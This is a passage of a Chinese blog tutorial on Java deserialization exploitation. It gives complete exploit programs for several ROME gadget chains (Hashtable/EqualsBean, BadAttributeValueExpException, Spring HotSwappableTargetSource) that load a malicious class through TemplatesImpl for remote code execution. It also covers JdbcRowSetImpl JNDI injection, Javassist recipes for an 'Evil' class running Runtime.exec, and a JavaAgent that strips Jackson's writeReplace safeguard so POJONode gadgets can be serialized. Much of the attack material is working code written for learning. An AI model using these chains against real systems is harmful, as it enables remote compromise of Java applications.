private static void setValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser3.bin"));
oos.writeObject(object);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser3.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class"));
setValue(templates,"_name","ROME");
setValue(templates,"_bytecodes",new byte[][]{bytecodes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

Hashtable hashtable = new Hashtable();
hashtable.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
serialize(hashtable);
unserialize("ser3.bin");


}
}

BadAttributeValueExpException利用链

看一下这个类的readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以看到,当System.getSecurityManager() == null会调用任意一个类的tostring方法跟进看一下

image-20250718180147463

是null,那我们可以用它来直接调用tostring()方法,进行反序列化

那链子就是

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject()

ToStringBean.toString()

TemplatesImpl.getOutputProperties()

触发 defineTransletClasses() → 加载恶意字节码 → RCE
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ROME;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;

public class ROME {
private static void setValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser4.bin"));
oos.writeObject(object);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser4.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte [] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class"));
setValue(templates,"_name","ROME");
setValue(templates,"_bytecodes",new byte[][]{bytecodes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
setValue(toStringBean,"_obj",templates);
//这边也是先搞个占位符,以免在序列化的过程中就触发
BadAttributeValueExpException badAttributeValueExpException =new BadAttributeValueExpException(123);
//然后反射把123修改成toStringBean
setValue(badAttributeValueExpException,"val",toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser4.bin");

}
}

HotSwappableTargetSource利用链

这个链子是spring原生的,是把toString的调用者改为了spring原生的HotSwappableTargetSource

1
2
3
4
5
6
加个spring依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.1.RELEASE</version>
</dependency>

那让我们来继续看代码,在XString的一个equals方法中找到了调用toString方法

image-20250718212021376

然后在HotSwappableTargetSource中发现了调用equals方法的方法

1
2
3
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}

那我们怎么调用HotSwappableTargetSource的equals方法呢?在HashMap中找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
/*
这里调用了equals()函数,是如果不为空,就会比较传入的key的哈希值是否相等。调用的是后者的equals,传入的是前者的参数,所以我们写EXP的时候要注意,先put(HotSwappableTargetSource(toStringBean)),来保证是XString.equals(HotSwappableTargetSource(toStringBean))
*/
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}

HashMap的putVal方法

那么整个链子就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HashMap.readObject()

HashMap.put()

HashMap.putVal()

HotSwappableTargetSource.equals()

XString.equals()

ToStringBean.toString()

TemplatesImpl.getOutputProperties()

触发 defineTransletClasses() → 加载恶意字节码 → RCE
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package ROME;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;

public class ROME {
private static void setValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\JavaSec\\CC1\\target\\classes\\ROME\\shell.class"));
setValue(templates, "_name", "ROME");
setValue(templates, "_bytecodes", new byte[][]{bytecodes});
setValue(templates,"_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class, new ConstantTransformer(1));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hash = new HashMap();
hash.put(h1, "h1");
hash.put(h2, "h2");
setValue(toStringBean, "_obj", templates);
serialize(hash);
unserialize("ser.bin");
}
}

JdbcRowSetImpl

前面的ToStringBean中导致恶意类加载的原因就是因为它的toString方法可以进行任意的类的Getter调用,从而触发TemplatesImplgetter方法getOutputProperties任意类加载。而在JdbcRowSetImplgetter方法getDatabaseMetaData会触发JNDI注入。

看代码:

1
2
3
4
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}

跟进connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

connect中就会触发InitialContextlookup,而dataSource是可控的,因此就可以通过RMI或者LDAP协议加载远程恶意类。

当然这个方法有一定的限制,那就是trustURLCodebase,目前有效的版本只有:

  • RMI:JDK 6u132JDK 7u122JDK 8u113之前
  • LDAP:JDK 7u2018u1916u211JDK 11.0.1之前

这个我暂时先搁置一下😅RMI、LDAP后面再说。

Javassist

Javassist是什么

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

Javassist 使用速查表

功能 方法/类 示例代码 说明
获取 ClassPool ClassPool.getDefault() ClassPool pool = ClassPool.getDefault(); 获取默认的类池,用于加载和创建类。
加载已有类 pool.get("类全名") CtClass ct = pool.get("java.lang.String"); 从类池中获取已有类的 CtClass 对象。
创建新类 pool.makeClass("类名") CtClass ct = pool.makeClass("Evil"); 动态生成一个新类。
设置父类(继承某个类) ct.setSuperclass(superCt) ct.setSuperclass(pool.get("java.util.ArrayList")); 让当前类继承某个父类。
创建接口 ct.setInterfaces(new CtClass[]{iface}) ct.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")}); 为动态类添加接口。
添加构造方法 CtConstructor CtConstructor cons = new CtConstructor(new CtClass[]{}, ct); cons.setBody("{System.out.println(\"Hi\");}"); ct.addConstructor(cons); 创建一个构造函数并添加到类中。
创建默认构造方法 CtNewConstructor.defaultConstructor(ct) ct.addConstructor(CtNewConstructor.defaultConstructor(ct)); 快速创建无参构造函数。
添加方法 CtMethod CtMethod m = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{}, ct); m.setBody("{System.out.println(\"Hello\");}"); ct.addMethod(m); 创建并添加一个新方法。
修改已有方法 getDeclaredMethod("方法名") CtMethod m = ct.getDeclaredMethod("toString"); m.setBody("{return \"hacked\";}"); 获取并修改类中的现有方法实现。
添加字段 CtField CtField f = new CtField(CtClass.intType, "age", ct); ct.addField(f, "0"); 给类增加一个字段,并设置初始值。
静态代码块(类初始化) makeClassInitializer() CtConstructor cinit = ct.makeClassInitializer(); cinit.setBody("{ System.out.println(\"Class Loaded!\"); }"); 动态添加 `` 静态块。
生成字节码 ct.toBytecode() byte[] bytes = ct.toBytecode(); 将 CtClass 转换为字节数组,用于 TemplatesImpl 等场景。
写入 .class 文件 ct.writeFile("路径") ct.writeFile("/tmp"); 将动态生成的类写到磁盘。
加载类到 JVM ct.toClass() Class clazz = ct.toClass(); 直接将动态类加载到 JVM 中并返回 Class 对象。
冻结类 ct.freeze() ct.freeze(); 将 CtClass 冻结为不可修改状态。
解冻类 ct.defrost() ct.defrost(); 解冻 CtClass,以便重新修改。

常见 setBody() 写法表

类型 写法 示例 说明
打印语句 "{ System.out.println(\"text\"); }" method.setBody("{ System.out.println(\"Hello\"); }"); 打印 Hello
返回值 "{ return 123; }" method.setBody("{ return 42; }"); 返回 int 值
返回字符串 "{ return \"abc\"; }" method.setBody("{ return \"abc\"; }"); 返回 String
调用 Runtime 执行命令 "{ Runtime.getRuntime().exec(\"calc\"); }" constructor.setBody("{ Runtime.getRuntime().exec(\"calc\"); }"); 用于 RCE payload
使用参数 "{ System.out.println($1); }" method.setBody("{ System.out.println($1); }"); 打印第一个参数
修改参数 "{ $1 = \"newVal\"; }" method.setBody("{ $1 = \"test\"; System.out.println($1); }"); 改写第一个参数
调用其他方法 "{ helper($1); }" method.setBody("{ helper($1); }"); 调用类中其他方法
组合参数 "{ System.out.println($1 + \" \" + $2); }" method.setBody("{ System.out.println($1 + \" \" + $2); }"); 拼接输出
返回 Object "{ return new Integer(100); }" method.setBody("{ return Integer.valueOf(100); }"); 返回包装类型
多行代码 "{ int x=1; int y=2; return x+y; }" method.setBody("{ int a=5; int b=10; return a+b; }"); 逻辑块
使用 try-catch "{ try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e) { e.printStackTrace(); } }" - 支持异常处理
返回 $args "{ return $args; }" method.setBody("{ return $args; }"); 返回 Object[] 参数

Javassist $ 变量替换速查表

变量 含义 示例写法 示例代码解释
$0 当前对象 this $0.name = "Tom"; 等价于 this.name = "Tom";
$1 第一个参数 $0.name = $1; 等价于 this.name = 参数1;
$2 第二个参数 $0.age = $2; 等价于 this.age = 参数2;
$$ 所有参数列表 System.out.println($$); 等价于 System.out.println(arg1, arg2, ...)
$args Object[] 类型的所有参数数组 Object[] arr = $args; 得到所有参数的数组
$_ 返回值(只能用于 insertAftersetBody $_ = $_ + 1; 将返回值加 1
$cflow(X) X 标签的控制流计数器(高级用法) if ($cflow(mylabel) > 0) ... 判断某段代码块执行次数
$r 表示强制类型转换为方法的返回类型 return ($r) $1; 将参数1强制转为返回类型
$w 将基本类型转换为包装类(wrapper) Object o = ($w) $1; 将基本类型参数包装为 Integer, Double
1
2
3
4
5
6
7
8
9
10
11
12
//拿ROME的链子来说,我们可以像下面这样来写恶意字节码
public static byte[] poc() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
}

JavaAgent与POJONode

JavaAgent是什么?

javaagent 是 Java 提供的一种机制,用于在 目标 JVM 启动时(premain)运行中(agentmain) 对类进行动态修改(Instrumentation)。
它常用于:

  • AOP (面向切面编程)
  • 监控/性能分析(如 Arthas、SkyWalking、BTrace)
  • 安全测试与字节码注入
  • 热更新或方法拦截

Java Agent 依赖于 Instrumentation API字节码操作框架(如 Javassist、ASM、ByteBuddy)

在JDK1.5之前,JVM规范定义了JVMPI(Java Virtual Machine Profiler Interface)语义,JVMPI提供了一批JVM分析接口。在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent

当JVM在加载.class类文件的时候会触发ClassFileLoadHook回调JNI执行sun.instrument.InstrumnetationImpl#trtansform方法,如果我们自己实现了ClassFileTransformertransform方法,则会用transform方法返回的字节码内容替换掉原来读取到的.class文件的字节码。

参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:

  1. 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
  2. Premain-Class 指定的那个类必须实现 premain() 方法。

premain类:当JVM启动时,在执行 main 函数之前,JVM 会先运行-javaagent所指定 jar 包内 Premain-Class 这个类的 premain 方法 。

image-20250721200100442

使用 javaagent 需要几个步骤:

  1. 定义一个 MANIFEST.MF 文件,必须包含 Premain-Class 选项,通常也会加入Can-Redefine-Classes 和 Can-Retransform-Classes 选项。
  2. 创建一个Premain-Class 指定的类,类中包含 premain 方法,方法逻辑由用户自己确定。
  3. 将 premain 的类和 MANIFEST.MF 文件打成 jar 包。
  4. 使用参数 -javaagent: jar包路径 启动要代理的方法。

JVM会执行premain方法,大部分加载会通过这个方法,除了一些系统类先于agent执行,用户类的加载肯定是会被拦截的。拦截类然后结合javassist来修改字节码

有两种模式:

(1) premain 模式

  • 在目标应用启动时,通过 JVM 参数 -javaagent:xxx.jar 指定 agent。
  • main() 方法执行前,会自动执行 agent 中的 premain() 方法。

(2) agentmain 模式

  • 在应用运行过程中,动态加载 agent。
  • 通常通过 Attach API(如 VirtualMachine.attach())注入。
  • 在注入后,agentmain() 会被调用。

Java Agent 的入口类必须包含以下方法之一:

1
2
3
4
5
6
7
8
// 在 JVM 启动前调用
public static void premain(String agentArgs, Instrumentation inst);

// 或者(可选,少一个参数)
public static void premain(String agentArgs);

// 在 JVM 运行时动态 attach 时调用
public static void agentmain(String agentArgs, Instrumentation inst);

参数说明:

  • agentArgs:运行 -javaagent:xxx.jar=参数 时传入的字符串参数。
  • Instrumentation inst:字节码修改的核心接口,可用来拦截类加载。

JavaAgent 是 Java 的 字节码插桩机制,可以在 类加载时运行时(重定义类) 动态修改类的字节码。
其核心是 Instrumentation 接口,允许你注册一个 ClassFileTransformer 来拦截类的加载过程,并可以对其字节码做修改。

类加载拦截流程

  1. JVM 启动时,指定 -javaagent:myagent.jar
  2. JVM 在加载应用类之前,会先加载 Agent。
  3. Agent 调用 premain(String args, Instrumentation inst)
  4. 我们在 inst.addTransformer() 注册一个 ClassFileTransformer
  5. 当某个类第一次加载时,JVM 会把原始字节码(byte[])交给 transform() 方法。
  6. transform() 里,我们可以用 Javassist 等工具修改字节码,然后返回修改后的 byte[]

transform的方法参数

image-20250722105636902

transform() 必须在类加载前触发,因为类一旦加载,修改会比较麻烦(需要 retransformClasses() 或者 Unsafe 技术)。因此我们用 -javaagent 是为了在 应用主类加载前 把 Agent 挂上。

那整体的步骤就是:

Agent类
1
2
3
4
5
6
7
8
9
10
import java.lang.instrument.Instrumentation;

public class MyAgent {
// premain 在 main() 之前执行
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[MyAgent] premain called with args: " + agentArgs);
// 可以在这里添加 Transformer
inst.addTransformer(new MyTransformer());
}
}
编写Transformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
System.out.println("[MyTransformer] Transforming: " + className);
// 这里可以用 Javassist 修改字节码
return classfileBuffer; // 不修改,原样返回
}
}

通过Attach动态加载

agebtmain代码

如果目标 JVM 已经在运行,可以通过 Attach API 动态加载 agent:

1
2
3
4
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[MyAgent] agentmain called with args: " + agentArgs);
inst.addTransformer(new MyTransformer(), true);
}
Attach代码
1
2
3
4
5
6
7
8
9
10
import com.sun.tools.attach.VirtualMachine;

public class Attacher {
public static void main(String[] args) throws Exception {
VirtualMachine vm = VirtualMachine.attach("12345"); // 目标 JVM PID
vm.loadAgent("myagent.jar", "DynamicLoad");
vm.detach();
}
}

结合Javassist修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className.equals("target/HelloWorld")) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod method = ctClass.getDeclaredMethod("sayHello");
method.insertBefore("{ System.out.println(\"[Agent Injected]\"); }");
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return classfileBuffer;
}
}

注意

  1. Instrumentation API 不能修改已经加载的 JDK 核心类(除非使用 bootstrapClassLoader 或 redefineClasses)。

  2. addTransformer 默认只拦截 新加载的类,如果需要重新定义,必须使用:

    1
    2
    inst.addTransformer(transformer, true);
    inst.retransformClasses(targetClass);
  3. -javaagent 的 jar 必须包含 Premain-Class 指定的入口。

Javassist 删除方法的核心语法

  • 删除方法

    1
    2
    CtMethod m = ctClass.getDeclaredMethod("asText");
    ctClass.removeMethod(m);
  • 替换方法

    1
    2
    CtMethod m = ctClass.getDeclaredMethod("asText");
    m.setBody("{ return \"evil\"; }");

在jackson反序列化中的POJONode中就会用到

当我们调用 ObjectOutputStream.writeObject(obj) 时,JVM 会先检查:

  • 是否实现了 writeReplace()(优先调用该方法返回新对象替代原对象)。
  • 然后再检查 writeObject() 等序列化方法。

在 Jackson 的 BaseJsonNodewriteReplace() 被设计为防御手段,如果我们试图序列化 POJONode,会触发:

1
2
3
protected Object writeReplace() {
throw new NotSerializableException("POJONode is not meant for direct serialization");
}

这样直接阻断序列化。

利用链中需要绕过它
因为 POJONodetoString()getValueAsText() 可以触发任意 getter 调用,如果能序列化它,我们就能构建 gadget 链。
**所以必须用 Javassist + JavaAgent 动态移除 writeReplace()**,这样 POJONode 才能像普通对象一样被序列化。

MyAgent
1
2
3
4
5
6
7
8
9
10
11
package agent;

import java.lang.instrument.Instrumentation;

public class MyAgent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] Starting agent with args: " + agentArgs);
inst.addTransformer(new MyTransformer(), true);
}
}

MyTransformer

修改或者删除字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package agent;

import javassist.*;
import javassist.loader.LoaderClassPath;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (className == null) return null;

String cname = className.replace("/", ".");

try {
ClassPool pool = ClassPool.getDefault();
if (loader != null) {
pool.insertClassPath(new LoaderClassPath(loader));
}

// 针对 BaseJsonNode
if (cname.equals("com.fasterxml.jackson.databind.node.BaseJsonNode")) {
System.out.println("[Agent] Found BaseJsonNode, removing writeReplace()...");
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
try {
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace); //删除
System.out.println("[Agent] writeReplace() removed!");
} catch (NotFoundException e) {
System.out.println("[Agent] No writeReplace() found.");
}
return ctClass.toBytecode();
}

// 针对 POJONode,可选修改 toString() 便于调试/利用
if (cname.equals("com.fasterxml.jackson.databind.node.POJONode")) {
System.out.println("[Agent] Found POJONode, patching toString()...");
CtClass ctClass = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
try {
CtMethod toStringMethod = ctClass.getDeclaredMethod("toString");
toStringMethod.setBody("{ return \"[POJONode patched by Agent]\"; }");
System.out.println("[Agent] toString() modified.");
} catch (NotFoundException e) {
System.out.println("[Agent] No toString() found.");
}
return ctClass.toBytecode();
}
} catch (Exception e) {
e.printStackTrace();
}
return null; // 不修改其他类
}
}

MANIFEST.MF
1
2
Manifest-Version: 1.0
Premain-Class: agent.MyAgent

打包时可以用:

1
jar cmf MANIFEST.MF agent.jar -C out/production/JavaAgentDemo .

使用 -javaagent 参数启动你的目标程序:

1
java -javaagent:agent.jar -jar target-app.jar

这样在目标应用启动时,BaseJsonNodePOJONode 会自动被修改。

动态修改

1. Agent 代码(MyAgent.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package agent;

import javassist.*;
import java.lang.instrument.*;
import java.security.ProtectionDomain;

public class MyAgent {

public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] Started via premain");
inst.addTransformer(new MyTransformer(), true);
}

public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("[Agent] Attached dynamically");
inst.addTransformer(new MyTransformer(), true);

try {
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if ("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(clazz.getName())
|| "com.fasterxml.jackson.databind.node.POJONode".equals(clazz.getName())) {
System.out.println("[Agent] Retransforming class: " + clazz.getName());
if (inst.isModifiableClass(clazz)) {
inst.retransformClasses(clazz);
} else {
System.out.println("[Agent] Class not modifiable: " + clazz.getName());
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

// Transformer 负责修改字节码
static class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(Module module, ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {

String dotClassName = className.replace('/', '.');
if ("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(dotClassName)) {
System.out.println("[Agent] Transforming " + dotClassName);

try {
ClassPool pool = ClassPool.getDefault();

// 重要:在运行时可能需要附加ClassLoader,否则找不到类
if (loader != null) {
pool.insertClassPath(new LoaderClassPath(loader));
}

CtClass ctClass = pool.get(dotClassName);

// 删除 writeReplace 方法(如果存在)
CtMethod writeReplaceMethod = null;
try {
writeReplaceMethod = ctClass.getDeclaredMethod("writeReplace");
} catch (NotFoundException e) {
System.out.println("[Agent] writeReplace method not found, skipping deletion");
}

if (writeReplaceMethod != null) {
ctClass.removeMethod(writeReplaceMethod);
System.out.println("[Agent] Removed writeReplace method");
}

byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;

} catch (Exception e) {
e.printStackTrace();
}
}
return null; // 不修改其他类
}
}
}

2. 动态 Attach 加载器代码(AttachAgent.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.tools.attach.VirtualMachine;

public class AttachAgent {

public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.out.println("Usage: java AttachAgent <PID> <path_to_agent_jar>");
System.exit(1);
}
String targetPid = args[0];
String agentPath = args[1];

System.out.println("Attaching to target JVM with PID: " + targetPid);
VirtualMachine vm = VirtualMachine.attach(targetPid);
vm.loadAgent(agentPath);
vm.detach();
System.out.println("Agent attached successfully.");
}
}

3. 编译与打包步骤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 假设当前目录结构如下:
# ./agent/MyAgent.java
# ./AttachAgent.java

# 1. 编译 Agent(需要 javassist.jar)
javac -cp javassist.jar -d out agent/MyAgent.java

# 2. 编译 AttachAgent(需要 tools.jar,JDK8 在 $JAVA_HOME/lib/tools.jar)
javac -cp $JAVA_HOME/lib/tools.jar -d out AttachAgent.java

# 3. 打包 Agent JAR
cd out
jar cvfm agent.jar ../MANIFEST.MF agent/MyAgent.class

# MANIFEST.MF 内容示例:
# Manifest-Version: 1.0
# Agent-Class: agent.MyAgent
# Can-Redefine-Classes: true
# Can-Retransform-Classes: true
# Premain-Class: agent.MyAgent

# 4. 运行AttachAgent
# java -cp out:$JAVA_HOME/lib/tools.jar AttachAgent <target-JVM-PID> /full/path/to/agent.jar

java入门反序列化
https://eznp.github.io/2025/07/22/java入门反序列化/
作者
Zer0
发布于
2025年7月22日
许可协议